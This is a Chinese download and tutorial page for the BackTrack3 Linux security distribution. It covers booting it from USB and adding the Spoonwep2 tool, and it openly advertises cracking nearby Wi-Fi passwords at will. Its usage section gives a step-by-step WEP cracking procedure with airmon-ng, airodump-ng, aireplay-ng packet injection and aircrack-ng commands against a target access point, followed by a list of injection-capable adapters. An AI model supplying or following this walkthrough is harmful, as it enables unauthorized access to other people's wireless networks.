BackTrack3下载 中文版

BackTrack3是一个非常便捷的Linux操作系统，这个系统无需安装在电脑本地，使用u盘以及光盘也能够一键启动。而且，该系统还包含网络密码破解工具，用户可以随意破解附近的wifi密码，非常方便。

【基本介绍】

BackTrack3简称bt3，是一款体积小巧、易于携带的linux系统，使用过的用户们，想必有一定的了解，它的功能非常强大，支持多种启动方式，比如U盘启动，光盘启动，硬盘启动等等，不光如此，在安全方面也是毋庸置疑的，内置了大量的网络安全检测工具及黑客破解软件。

【官方介绍】

BackTrack3是一款便携的linux系统，简称BT3。BackTrack3中文版能够支持U盘启动，光盘启动，硬盘启动，其中内置大量的网络安全检测工具及黑客破解软件。BT3因可以方便的破解无线网络而出名，而Spoonwep就是一款强大的图形化破解wep无线网络密码的工具，这是它的成名工具。

【特色介绍】

1、支持多种存储设备，每个安装包、内核配置、脚本和补丁完全为渗透测试者量身定制
2、支持U盘启动，光盘启动，硬盘启动
3、内置大量的网络安全检测工具及黑客破解软件
4、可以方便的破解无线网络，其中内置的spoonwep是一个非常强悍的图形化破解WEP无线网络密码的工
5、能破解WEP、WPA、WPA2这三种加密方式

【功能介绍】

BackTrack是一套专业的计算机安全检测的Linux操作系统，简称BT。目前最新与最好用版本是BT5R3。
它能破解WEP，WPA/WPA2加密方式的无线网络，前提是需要有足够强大的密码字典文件。
BT对于基于无线射频技术的硬件系统有很强的检测能力。
密码破解方面，在以往版本工具的基础上又加入了基于GPU的破解工具oclhashcat，分别为oclhashcat+(ATI)，oclhashcat+(Nvidia)，破解速度理论上可以达到传统CPU破解的百倍。
Apache和MySQL都被集成到了系统中，方便使用者搭建LAMP环境进行测试，包含有Injection，XSS，Snort等IDS（入侵检测系统）工具。

【工作原理】

BackTrack是基于Ubuntu的自启动运行光盘，它包含了一套安全及计算机取证工具。它其实是依靠融合Auditor Security Linux和WHAX（先前的Whoppix）而创建成的。
BackTrack是目前为止知名度最高，评价最好的关于信息安全的Linux发行版。它是基于Linux平台并集成安全工具而开发成的Linux Live发行版，旨在帮助网络安全人员对网络骇客行为进行评估。不论您是否把它做为常用系统，或是从光盘或移动硬盘启动，它都可以定制各种安全包，包括内 核配置、脚本和补丁，以用于入侵检测。

【加密方式】

BT3常与无线破解、蹭网卡等连在一起，其原理是抓包，在众多的数据包中检测相同的字符串，分析其密码。BT3只能破解WEP、WPA、WPA2这 三种加密方式，通常大多情况下无线路由都是用这几种加密方式。破解不是什么时候都能破解，这需要信号、用户的使用量、硬件等多方面的原因，信号不好就有很 多数据包没有抓获，用户的使用量越多，数据包也就越多，能破解都到数据包在一万以上，然后才去分析密码，最好在大白天多人用的时候。

【安装步骤】

1、将优盘格式化，配置如下图，唯一要注意文件系统选为FAT32就可以了。


2、将刚才下载完成的bt3解压缩，复制到优盘，完成后会看到优盘目录下有两个文件夹，一个boot 一个BT3。如下图：


3、开始安装bt3系统。　　点击开始-运行，输入CMD, 然后回车，进入命令行模式 。　　首先输入你优盘的盘符，我这里是h盘，输入h： 然后回车，接下来输入 cd boot 回车，进入到boot文件夹下，最后 bootinst.bat 回车，就会开始安装BT3，如下图：


然后安装会出现一个提示画面，我们别去管它，直接按任意键继续


按任意键后，电脑会自动设置引导记录，整个过程大概10秒左右。出现下面画面后，此优盘就可以引导系统进去bt3了。


4、集成spoonwep2软件。
首先把我们先前下载的spoonwep2解压缩，里面是六个扩展名为lzm的文件，将这六个文件复制到优盘\bt3\modules文件夹下，如图：


这样我们的bt3系统已经集成安装完毕了，可以动手破解了。

【使用技巧】

破解wifi密码的方法

一、先开始制作启动U盘
将下载好的backtrack3直接解压到U盘（1G以上容量）。把Boot 和BT3两个文件夹放到U盘的根目录，打开BOOT文件夹双击运行" bootinst.bat "批处理文件。U盘里就会多出4个文件." isolinux.boot" "isolinux.cfg" "isolinux.bin " "syslinux.cfg"

二、之后重启 windows 进入BIOS设置
把BIOS里的frist boot device设置为USB-HDD（或者是USB--ZIP）再重启选择从usb启动。系统进入backtrack3 系统。

三、现在开始破解

1.在shell窗口中输入 ifconfig 命令 ，出现如下信息：
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:（......）Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

2.找出你的无线网卡名字，我这里是 eth1.再启动你的网卡为Moniter模式(输入airmon-ng start eth1 11)。再输入 ifconfig 命令 ，返回如下信息：
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

3. 输入命令 airodump-ng -c 11 --bssid 00:1A:01:8D:C3:B2 -w outputs eth1.
命令中的11 表示要破解的频道号，bssid后面的数字表示破解目标的MAC物理地址，outputs表示要生成的包的名称。回车运行。
  
4.再开一个 shell 输入 aireplay-ng -1 0 -e targetnet -a 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1
其中“targetnet”表示破解目标网络名,00:1A:01:8D:C3:B2前面已解释过是指目标MAC物理地址，00:A1:C1:D8:A5:B6表示本机网卡MAC物理地址

5.再开一个 shell 输入 aireplay-ng -3 -b 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1
获取更多的数据包。

6.返回数据量到1万的时候就可以破解了。再开一个shell输入 aircrack-ng -z -b 00:1A:01:8D:C3:B2 outputs.cap 进行破解。如果破解不成功，让它继续抓包，直到破解

【支持网卡】

1、AWUS036H (rtl8187, r8187) – both mac80211 and IEEE drivers – 测试通过
2、AWUS036NH (Ralink RT2870/3070) – using the mac80211 rt2×00usb drivers – 测试通过
3、BCM4312 802.11b/g LP-PHY (rev 01) – using the mac80211 b43, works well – 测试通过
4、Rockland N3 – (Ralink RT2870/3070) – using the mac80211 rt2×00usb drivers -测试通过
5、Edimax EW-7318USG USB – (Ralink RT2501/RT2573) – using the mac80211 rt2500usb/rt73usb drivers -测试通过
6、ASUSTek Computer, Inc. RT2573 – using the mac80211 rt2500usb/rt73usb drivers -测试通过
7、Linksys WUSB54GC ver 3 – using the mac80211 rt2800usb drivers -测试通过
8、Ubiquiti SRC – using the mac80211 ath9k drivers-测试通过
9、Internal Intel Corporation PRO/Wireless 3945ABG – using the mac80211 iwl3945 drivers-测试通过
10、Dlink WNA-2330 PCMCIA – using the mac80211 ath5k drivers-测试通过
11、Atheros Communications Inc. AR9285 Wireless Network Adapter (PCI-Express) (rev 01) – using the mac80211 ath9k drivers-测试通过
12、Netgear wg111v2 – using the mac80211 rtl8187 drivers-测试通过
13、ZyXEL AG-225H v2 – using the mac80211 zd1211 drivers – 测试通过
14、Intel 4956/5xxx – using the iwlagn drivers – 测试通过
可用但无法注入的网卡列表
1、Broadcom Corporation BCM4321 802.11a/b/g/n (rev 03)
2、Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller (rev 01)
暂不支持的网卡
1、D-Link DWL-122 – using the mac80211 prism2_usb drivers – 测试失败
2、Linksys WUSB600N v2 – using the mac80211 rt2800usb drivers – 测试失败
3、AWUS051NH – 测试失败
BackTrack：是一套专业的计算机安全检测的Linux操作系统，简称BT。
现在，BackTrack已被Kali Linux所代替，BT将不再维护。